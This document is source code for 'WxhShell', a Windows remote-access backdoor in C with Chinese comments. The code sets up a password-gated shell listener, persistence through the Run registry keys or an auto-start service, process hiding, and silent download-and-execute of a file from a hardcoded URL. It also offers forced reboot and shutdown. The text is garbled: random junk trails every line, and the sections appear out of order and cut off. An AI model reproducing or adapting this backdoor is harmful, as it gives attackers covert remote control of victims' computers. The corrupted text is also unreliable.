    if(Boot(SHUTDOWN)) G;iEo4\?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y' C-[nk  
    else { Tny> D0Z#  
    closesocket(wsh); Z}6^ve  
    ExitThread(0); R W/z1  
    } dFXc/VH')  
    break; KA s1(oG  
    }  >]D4Q<TY  
  // 获取shell kAYb!h[`  
  case 's': { B 9dt=j3j2  
    CmdShell(wsh); 1 jb/o5n;  
    closesocket(wsh); F\JUx L@8  
    ExitThread(0); K95;rd  
    break; %3Z/+uT@v]  
  } kSncZ0K{  
  // 退出 j Ch=@<9  
  case 'x': { 5z$,6T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kLSrj\6I[  
    CloseIt(wsh); 2h=%K/hhY  
    break; y(jg#7)  
    } ^ZRYRA  
  // 离开 W6c]-pc  
  case 'q': { +K",^6%1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); / +K?  
    closesocket(wsh); WN]<q`.  
    WSACleanup(); ' I}: !Z  
    exit(1); J4$! 68  
    break; .^(/n9|o-  
        } +C]&2zc.  
  } j{++6<tr  
  } A#wEuX=[  
giY80!GX  
  // 提示信息 3INI?y}t   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xl9aV\W  
} K,ej%Vtz  
  } sy* y\5yJ  
\K2*Q&>  
  return; o89( h!  
} z9/G4^qF  
BHDML.r }M  
// shell模块句柄 9=l.T/?sf  
int CmdShell(SOCKET sock) JAc_kl{4O  
{ R[tC^]ai  
STARTUPINFO si; l: |D,q  
ZeroMemory(&si,sizeof(si)); 1%[_`J;>Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X@N$Z{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U\@A _ B  
PROCESS_INFORMATION ProcessInfo; w*7|dZk{  
char cmdline[]="cmd"; ;U =q-tb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $m$;v<PSe  
  return 0; zt24qTKL  
} k3!a$0Bs;  
/a9 !Cf  
// 自身启动模式 1Nn@L2b 2  
int StartFromService(void) Yf_6PGNzX  
{ ;r\(p|e  
typedef struct Z4TL6 ]^R  
{ w42OF7f  
  DWORD ExitStatus; zk_Eb?mhwV  
  DWORD PebBaseAddress; :Sg&0Wj+#j  
  DWORD AffinityMask; )}v 3q6?_  
  DWORD BasePriority; R9vT[{!i  
  ULONG UniqueProcessId; )EM7,xMz  
  ULONG InheritedFromUniqueProcessId; +!t}  
}   PROCESS_BASIC_INFORMATION; }CL"S_>1  
&jA\hg#9  
PROCNTQSIP NtQueryInformationProcess; *hhmTc#  
/hWd/H]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !\ND(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V)M1YZV{  
5X.ebd;PT  
  HANDLE             hProcess; % ~ ]xuP[  
  PROCESS_BASIC_INFORMATION pbi; Pf_F59"  
4p`XG1Pt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #EO1`9f48x  
  if(NULL == hInst ) return 0; 5FKBv e@  
l*aj#%ha  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yGBQ0o7E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I_)*)d44_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fN%jJ-[d  
>u +q1j.  
  if (!NtQueryInformationProcess) return 0; ZM#=`k9  
_m E^rT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P@}Pk  
  if(!hProcess) return 0; 0*%&>  
t !`Jse>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ip7^  
.Ce8L&cU  
  CloseHandle(hProcess); OWjJxORB  
. v)mZp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0BPMmk  
if(hProcess==NULL) return 0; ^>&k]T`  
NUJ~YWO;  
HMODULE hMod; Wl"0m1G  
char procName[255]; t G.(flW,  
unsigned long cbNeeded; 4R%*Z ~  
{QaNAR=)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P,pnga3Wu  
H!IshZfktn  
  CloseHandle(hProcess); 2C^B_FUg|]  
LE^G&<!  
if(strstr(procName,"services")) return 1; // 以服务启动 PaB!,<A  
*4Fr&^M\  
  return 0; // 注册表启动 -4#2/GXNO  
} ^n.WZUk  
ws/63 d*  
// 主模块 FN[R(SLbL  
int StartWxhshell(LPSTR lpCmdLine) Zi$ziDz&  
{ )ukpJ z""  
  SOCKET wsl; :\~+#/=:  
BOOL val=TRUE; 2(!fg4#+  
  int port=0; KU9Z"9#  
  struct sockaddr_in door; Rf %HIAVE  
hjx)D  
  if(wscfg.ws_autoins) Install(); NtGn88='{  
cS .i  
port=atoi(lpCmdLine); w)] H ^6  
4 {GU6v)f  
if(port<=0) port=wscfg.ws_port; 4\5uY  
{U!St@  
  WSADATA data; Z{NC9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VObrlOkp  
j5$BK[p.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *!e(A ]&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <-Bx&Q  
  door.sin_family = AF_INET; &<'n^n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a?5[k}\  
  door.sin_port = htons(port); Z(0@1l`Z-`  
.y5,x\Pq(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ._:nw=Y0<}  
closesocket(wsl); g&/p*c_  
return 1; f3*?MXxb16  
} K!AAGj`  
/(C~~XP)  
  if(listen(wsl,2) == INVALID_SOCKET) { 7sNw  
closesocket(wsl); 1Y xgR}7  
return 1; H&}ipaDO  
} ^t "iX9  
  Wxhshell(wsl); #<7O08 :  
  WSACleanup(); o`,Qku k  
%i0?UpA  
return 0; 7B9`<{!h  
>?W[PQ5yx  
} &Bb<4R  
@+,pN6}g  
// 以NT服务方式启动 6~meM@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DrW#v-d  
{ [|`U6 8}u  
DWORD   status = 0; -_VG;$,jE  
  DWORD   specificError = 0xfffffff; }f>H\iJe  
+ bhym+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vdoZ&Tu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @MR?6n*k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !hxIlVd{  
  serviceStatus.dwWin32ExitCode     = 0; X*oMFQgP  
  serviceStatus.dwServiceSpecificExitCode = 0; *DI)?  
  serviceStatus.dwCheckPoint       = 0; v`q\6i[-  
  serviceStatus.dwWaitHint       = 0; XkKC!  
QvPD8B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wt }9B[  
  if (hServiceStatusHandle==0) return; o6kNx>tc)  
hmbj*8  
status = GetLastError(); AF\T\mtvRm  
  if (status!=NO_ERROR) C"T1MTB  
{ J<n+\F-s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IputF<p  
    serviceStatus.dwCheckPoint       = 0; v]:=K-1n  
    serviceStatus.dwWaitHint       = 0; }_.:+H!@  
    serviceStatus.dwWin32ExitCode     = status; mZk0@C&:6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1m<RwI3s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qUF'{K   
    return; eKZ%2|+j!7  
  } |w}w.%  
6`01EIk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hm$X]H`uMX  
  serviceStatus.dwCheckPoint       = 0; ^{@!['  
  serviceStatus.dwWaitHint       = 0; pe0x""K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ft{[ae?4  
} Si}HX!s  
G)=HB7u[a  
// 处理NT服务事件,比如:启动、停止 I{0 k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n;XWMY  
{ I~eSZ?$s#  
switch(fdwControl) Z-=YM P ]Q  
{ <S"~vKD'  
case SERVICE_CONTROL_STOP: )YW<" $s  
  serviceStatus.dwWin32ExitCode = 0; 79J-)e9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1,y&d}GW  
  serviceStatus.dwCheckPoint   = 0; FeJr\|FT  
  serviceStatus.dwWaitHint     = 0; tYW>t9  
  { d~tuk4F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l":c  
  } P%pp )BS  
  return; }WFf''Z-  
case SERVICE_CONTROL_PAUSE: }7<5hn E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zwt;d5U  
  break; D6D1S/:ij'  
case SERVICE_CONTROL_CONTINUE: !,$i6gm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9e!NOl\_;.  
  break; { Ng oYl  
case SERVICE_CONTROL_INTERROGATE: Sywu=b  
  break; 6x{<e4<n  
}; 1tzV8(7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > Vb@[  
} !SOrCMHx  
eZhPu'id\s  
// 标准应用程序主函数 dP$GThGl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M s9E@E  
{ qgt[~i*  
3{Nbp  
// 获取操作系统版本 %rQuBi# 1f  
OsIsNt=GetOsVer(); `\>.h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lr;(xw\['  
z~6y+  
  // 从命令行安装 z1OFcqm  
  if(strpbrk(lpCmdLine,"iI")) Install(); EfLO5$?rm  
td2/9|Q  
  // 下载执行文件 @=S}=cl  
if(wscfg.ws_downexe) { ^yviV Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 10Wz,vW,n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]T! }XXK  
} #1'\.v  
a[bBT@f  
if(!OsIsNt) { CLD-mx|?  
// 如果时win9x,隐藏进程并且设置为注册表启动 _gNz9$S  
HideProc(); 2U kK0ls  
StartWxhshell(lpCmdLine); rf+:=|/_3  
} G%p~m%zIK  
else &>WWzikB*  
  if(StartFromService()) "e3["'  
  // 以服务方式启动 "tit\a6\(  
  StartServiceCtrlDispatcher(DispatchTable); \h<BDk*  
else 89}Y5#W  
  // 普通方式启动 gE/Tj$  
  StartWxhshell(lpCmdLine); Fh7'[>onw  
0Y=![tO8  
return 0; 1B>Vt*=  
} I&9S;I$  
_&3<6$}i"  
|iFVh$N  
~`;rNnOT3  
=========================================== Q\ ^[!|  
UCrh/bTm  
3CjL\pIC  
FUK3)lT  
WnFG{S{s  
NIr@R7MKd  
" gCd`pi 8  
`[#x_<\t  
#include <stdio.h> :m=m}3/:  
#include <string.h> OIHz I2{  
#include <windows.h> ?{"mP 'dD  
#include <winsock2.h> :yT-9Ze%q  
#include <winsvc.h> $5`!Z%>/  
#include <urlmon.h> +Z2MIC|Ud  
3 vP(S IF  
#pragma comment (lib, "Ws2_32.lib") 5M]z5}n/  
#pragma comment (lib, "urlmon.lib") ek aFN\  
cR-~)UyrO  
#define MAX_USER   100 // 最大客户端连接数 Ax3W2s  
#define BUF_SOCK   200 // sock buffer )Ag/Qep  
#define KEY_BUFF   255 // 输入 buffer !;@_VWR  
38V3o`f  
#define REBOOT     0   // 重启 7DW]JK l  
#define SHUTDOWN   1   // 关机 lor8@Qz  
3LR p2(A  
#define DEF_PORT   5000 // 监听端口 ;Lw{XqT  
M_ 0zC1  
#define REG_LEN     16   // 注册表键长度 1xNVdI   
#define SVC_LEN     80   // NT服务名长度 :R6bq!  
^_I} x)i*@  
// 从dll定义API x)rlyjFM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wCs3:@UH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7z6 b@$,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ A1uhHP!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fHrt+_Zn|  
6}~pq1IF{  
// wxhshell配置信息 Y/TlE?  
struct WSCFG { gsar[gZ  
  int ws_port;         // 监听端口 sH,kW|D  
  char ws_passstr[REG_LEN]; // 口令 /z7VNkD  
  int ws_autoins;       // 安装标记, 1=yes 0=no m4k Bj*6c{  
  char ws_regname[REG_LEN]; // 注册表键名 gV1[3dW  
  char ws_svcname[REG_LEN]; // 服务名 o{v&.z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +1C3`0(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wyx(FinIH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Y`3DxXz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B(k=oXDF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wmNHT _  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yw3oJf&  
|9xI_(+{kP  
}; z_;3H,z`  
"; [ iZ  
// default Wxhshell configuration LVIAF0kX  
struct WSCFG wscfg={DEF_PORT, q:>^ "P{  
    "xuhuanlingzhe", |as!Ui/J/  
    1, S&O3HC  
    "Wxhshell", p]D]: Z}P  
    "Wxhshell", Op.8a`XLt&  
            "WxhShell Service", S-+"@>{HJ  
    "Wrsky Windows CmdShell Service", s6*ilq1  
    "Please Input Your Password: ", .%EL\2  
  1, Rx07trfN  
  "http://www.wrsky.com/wxhshell.exe", =*BIB5  
  "Wxhshell.exe" { kSf{>Ia  
    }; rjt8fN  
;?fS(Vz~  
// 消息定义模块 .@)mxC:\K9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [./6At&|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5cr(S~Q;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ubsSa}$q  
char *msg_ws_ext="\n\rExit."; #BVtL :x@  
char *msg_ws_end="\n\rQuit."; $aCd/&  
char *msg_ws_boot="\n\rReboot..."; 3H\w2V  
char *msg_ws_poff="\n\rShutdown..."; 3FSqd<t;D  
char *msg_ws_down="\n\rSave to "; g3n'aD@'x  
iq#b#PYA  
char *msg_ws_err="\n\rErr!"; P`4]-5gE  
char *msg_ws_ok="\n\rOK!"; dhg~$CVO  
#TK~eHi  
char ExeFile[MAX_PATH]; BC>=B@H0  
int nUser = 0; i=a-<A5x  
HANDLE handles[MAX_USER]; 2'jOP" G  
int OsIsNt; #qU-j/Qf  
gbOpj3  
SERVICE_STATUS       serviceStatus; !{et8F@d|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j*@l"V>~  
[sV"ws  
// 函数声明 }K1 0Po'  
int Install(void); ^{$FI`P  
int Uninstall(void); F+ <Z<q  
int DownloadFile(char *sURL, SOCKET wsh); MiT}L  
int Boot(int flag); v dbO(  
void HideProc(void); .9*wY0:  
int GetOsVer(void); wZT%Ee\D%  
int Wxhshell(SOCKET wsl); 8kE]_t  
void TalkWithClient(void *cs); ' #NcZy  
int CmdShell(SOCKET sock); k- V,~c  
int StartFromService(void); ~9^)wCM+  
int StartWxhshell(LPSTR lpCmdLine); <P ,~eX(r  
@[<nQZw:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s..lK "b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c@[:V  
WtQ8X|\`  
// 数据结构和表定义 4EI7W,y  
SERVICE_TABLE_ENTRY DispatchTable[] =  %R#L  
{ e:E0"<  
{wscfg.ws_svcname, NTServiceMain}, 'oNO-)p\#!  
{NULL, NULL} DBLk!~IF  
}; *,C(\!b !?  
7 J^rv9i4  
// 自我安装  mvW%  
int Install(void) w&$d* E  
{ #&<)! YY5  
  char svExeFile[MAX_PATH]; \]Kh[z0"  
  HKEY key; 3uU]kD^  
  strcpy(svExeFile,ExeFile); mC&=X6Q]  
e+v({^k  
// 如果是win9x系统,修改注册表设为自启动 n8=5-7UT  
if(!OsIsNt) { # ,uya2!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %98' @$:0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r?m+.fJB  
  RegCloseKey(key); 7A\Cbu2tf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7g=2Z[o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k$ 5 s{q  
  RegCloseKey(key); f:*vr['d  
  return 0; 2 &/v]  
    } {^CT} \=>  
  } UX-&/eScN  
} nMDxH $O  
else { rWys'uc  
&uP~rEJl+  
// 如果是NT以上系统,安装为系统服务 o)6pA^+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h1 WT  
if (schSCManager!=0) sAo& uZ  
{ W)'*m-I  
  SC_HANDLE schService = CreateService MUOa@O,  
  ( bQe^Px5 !.  
  schSCManager, 4p;aS$Q  
  wscfg.ws_svcname, 4v p  
  wscfg.ws_svcdisp, kP#e((f,  
  SERVICE_ALL_ACCESS, A,su;Q h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i'd2[A.7I  
  SERVICE_AUTO_START, KKA~#iCk  
  SERVICE_ERROR_NORMAL, |r ue=QZ  
  svExeFile, {NpM.;  
  NULL, AE: Z+rM*  
  NULL, r|4t aV&  
  NULL, j Ja$a [  
  NULL, pZ`|iLNl-  
  NULL w6`9fX6{h  
  ); ob+euCuJ  
  if (schService!=0) f>'Y(dJ'W  
  { 01!s"wjf  
  CloseServiceHandle(schService); V)Z70J <'  
  CloseServiceHandle(schSCManager); d]9U^iy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bwr3jV?S  
  strcat(svExeFile,wscfg.ws_svcname); Z\[N!Zt|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C]^H&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 80A.<=(=.  
  RegCloseKey(key); [dtbkQt,c  
  return 0; =to=8H-  
    } !=;XBd-  
  } aA7=q=  
  CloseServiceHandle(schSCManager); R.7:3h  
} [m^+,%m5]  
} Cg*H.f%Mr  
y@CHR  
return 1; B?VhIP e  
} sL E#q+W  
2r$#m*  
// 自我卸载 IwGqf.!.>  
int Uninstall(void) rt JtK6t  
{ H>r!i 4l  
  HKEY key; 3_JCU05H}  
TW !&p"Us+  
if(!OsIsNt) { (&$VxuJ+6y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !lo/xQ<  
  RegDeleteValue(key,wscfg.ws_regname); }b1cLchl  
  RegCloseKey(key); CJ}5T]WZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G0E121`h  
  RegDeleteValue(key,wscfg.ws_regname); ,C3,TkA]  
  RegCloseKey(key); }kg ye2[  
  return 0; u!1{Vt87  
  } M$f7sx  
} O25lLNmO  
} 8* Jw0mSw  
else { 8H[:>;S I  
HF|oBX$_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w+1Gs ;  
if (schSCManager!=0) @p\}pY$T  
{ );-~j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m%?V7-9!k  
  if (schService!=0) @F(mi1QO  
  { X.`~>`8  
  if(DeleteService(schService)!=0) { !3T&4t  
  CloseServiceHandle(schService); fM^[7;]7e  
  CloseServiceHandle(schSCManager); "RIZV  
  return 0; @{Gncy|  
  } #c^^=Z  
  CloseServiceHandle(schService); +iOKbc'  
  } 9@+5LZR  
  CloseServiceHandle(schSCManager); 8,dBl!G=  
} O12eH  
} g+X}c/" .  
k4 F"'N   
return 1; Cu6%h>@K$  
} $1SUU F\.  
  TX  
// 从指定url下载文件 ||yzt!n  
int DownloadFile(char *sURL, SOCKET wsh) s&'QN=A  
{ \W1/p`  
  HRESULT hr; [9:9Ql_h  
char seps[]= "/"; a&vY!vx 3  
char *token; 4tY ss  
char *file; W`^@)|9^)  
char myURL[MAX_PATH]; E!S 78 z:  
char myFILE[MAX_PATH]; nS>8bub30  
[$[:"N_  
strcpy(myURL,sURL); *hcYGLx r  
  token=strtok(myURL,seps); cu+FM  
  while(token!=NULL) [z 7bixN  
  { J4Dry<  
    file=token; Mw9 \EhA  
  token=strtok(NULL,seps); V')0 Mr  
  } $ImrOf^qt  
Y`?-VaY  
GetCurrentDirectory(MAX_PATH,myFILE); Agrk|wPK  
strcat(myFILE, "\\"); \6\<~UX^  
strcat(myFILE, file); qP<Lr)nUH  
  send(wsh,myFILE,strlen(myFILE),0); v0L\0&+  
send(wsh,"...",3,0); &c1A*Pl/:G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dO%W+K  
  if(hr==S_OK) _YRE (YZ/  
return 0; sJNFFOz  
else $ MC)}l  
return 1; !>:?rSg*  
8_N]e'WUh  
} ;| 1$Q!4  
<tioJG{OT  
// 系统电源模块  O#I1V K  
int Boot(int flag) Sfdu`MQR  
{ *g^x*|f6  
  HANDLE hToken; ,i@X'<;y  
  TOKEN_PRIVILEGES tkp; +@r*}  
<F04GO\  
  if(OsIsNt) { "jw<V,,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T1H"\+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OrK&RC  
    tkp.PrivilegeCount = 1; P9 Z}H(?C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )2M>3C6>f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~y7jCcd`  
if(flag==REBOOT) { W 5R\Q,x6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K<>sOWZ'S  
  return 0; Vx-7\NB  
} =G]@+e  
else { Dih3}X&jn$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {AQ=<RDRF  
  return 0; #Qkroji qw  
} fum0>tff  
  }  Tgl}  
  else { A<y nIs<  
if(flag==REBOOT) { G$sA`<<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 71l%MH  
  return 0; TiH) 5  
} b5^OQH{v  
else { )5 R=Z<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GAAm0;  
  return 0; {^N[("`  
} H$6`{lx,  
} V(E/'DR  
'}9JCJ  
return 1; zen*PeIrA^  
} YX#-nyK  
n?c]M  
// win9x进程隐藏模块 &zo|Lfe  
void HideProc(void) Sf r&p>{,  
{ @/1w4'M  
iJ~Vl"|m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GQ-Rtn4v  
  if ( hKernel != NULL ) \7*`}&  
  { e zOj+vz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }[xs~! 2F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <'g:T(t  
    FreeLibrary(hKernel); ? C/Te)  
  } JwXT%op9RP  
`[n(" 7,  
return; % $DI^yS  
} =yy5D$\  
9`9R!=NM  
// 获取操作系统版本 h*<P$t  
int GetOsVer(void) wKsT7c'  
{ ki)#d' }  
  OSVERSIONINFO winfo; w[ ~#av9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6VhjJJ  
  GetVersionEx(&winfo); [0D Et   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Q@&5!]>d  
  return 1; R,Vd.-5M  
  else 3Gip<\$v  
  return 0; 1u9LdkhnY  
} .e3+s*  
.AU)*7Gh  
// 客户端句柄模块 ',S'.U  
int Wxhshell(SOCKET wsl) JGQjw(Xs  
{ *H|M;G  
  SOCKET wsh; `F>O;>i''  
  struct sockaddr_in client; fX|Y;S-@+  
  DWORD myID; >_LDMs[-p  
Tq4-wE+  
  while(nUser<MAX_USER) W='> :H  
{ U,.![TP  
  int nSize=sizeof(client); z+>}RT]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WH \)) y-  
  if(wsh==INVALID_SOCKET) return 1; VzKW:St  
10U9ZC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qg<(u?7N  
if(handles[nUser]==0) .?hP7;hhI  
  closesocket(wsh); 1&U>,;]*  
else $-*!pRaVU  
  nUser++; "%x<ttLl  
  } h?azFA~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C;vtY[}<  
Vkc#7W(  
  return 0; w/K_B:s  
} HC}YY2  
*VZ5B<Ic  
// 关闭 socket r#B+(X7LM  
void CloseIt(SOCKET wsh) "^]cQ"A  
{ r#Oo nZ  
closesocket(wsh); _Wa. JUbv  
nUser--; (/j); oSK  
ExitThread(0); W!&vul5  
} qC?:*CXH  
b 'pOJS  
// 客户端请求句柄 J>bJ 449B  
void TalkWithClient(void *cs) 6}oXP_0U  
{ ,9o"43D:a|  
dB5b@9*  
  SOCKET wsh=(SOCKET)cs; >#y^;/bb  
  char pwd[SVC_LEN]; bAm(8nT7w  
  char cmd[KEY_BUFF]; EB8\_]6XJ  
char chr[1]; 1[vi.  
int i,j; oTuOw|[  
.?Gd'Lp  
  while (nUser < MAX_USER) { jav#f{'  
1wP-  
if(wscfg.ws_passstr) { #*(t d<Cp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a qc?pqM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v3jg~"!  
  //ZeroMemory(pwd,KEY_BUFF); ^~A>8CQOU  
      i=0; bG(3^"dS  
  while(i<SVC_LEN) { AlIpsJ[UU  
ut I"\1hQ  
  // 设置超时 Aj4T"^fv  
  fd_set FdRead; UTH_^HAN#G  
  struct timeval TimeOut; Sh8"F@P8  
  FD_ZERO(&FdRead); " _ka<R..  
  FD_SET(wsh,&FdRead); ;h jwD  
  TimeOut.tv_sec=8; CtSl  
  TimeOut.tv_usec=0; hBX!iukT|{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LmnymcH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <fFTY130:  
dp*u9z~NA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F;<xnC{[  
  pwd=chr[0]; CLJ;<  
  if(chr[0]==0xd || chr[0]==0xa) { /x1![$oC0  
  pwd=0; &mtJRfnu  
  break; 7 !JQB  
  } WV_.Tiy<  
  i++; *N<&GH(j  
    } O|M{-)  
BjzPz  
  // 如果是非法用户,关闭 socket .ODR]7{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q*7VqB  
} 5w@4:$=I  
] A+?EE2/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )(384@'"u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A'&K/)Z  
-u8NF_{c  
while(1) { @("a.;1#o  
p$3sME$L  
  ZeroMemory(cmd,KEY_BUFF);  _ "VkGG  
e!=kWc  
      // 自动支持客户端 telnet标准   4Q6mo/=H  
  j=0; Yd~X77cv  
  while(j<KEY_BUFF) { PU1Qsb5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); trp0 V4b8  
  cmd[j]=chr[0]; [S>2ASj  
  if(chr[0]==0xa || chr[0]==0xd) { AGYc |;  
  cmd[j]=0; 7*Ej. HK  
  break; j+,d^!  
  } @-!}BUs?  
  j++; suzZdkMA  
    } 65aK2MS@  
!74S  
  // 下载文件 1BpiV-]=  
  if(strstr(cmd,"http://")) { 7M<'/s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F6{bjv2A  
  if(DownloadFile(cmd,wsh)) /Id%_,}Kb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [.uG5%fa  
  else K8UP,f2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %*0^0wz  
  } [c|]f_ZdK  
  else { 1R1 z  
5jgR4a*_v  
    switch(cmd[0]) { #nPQ!NB/  
  K#=*9S  
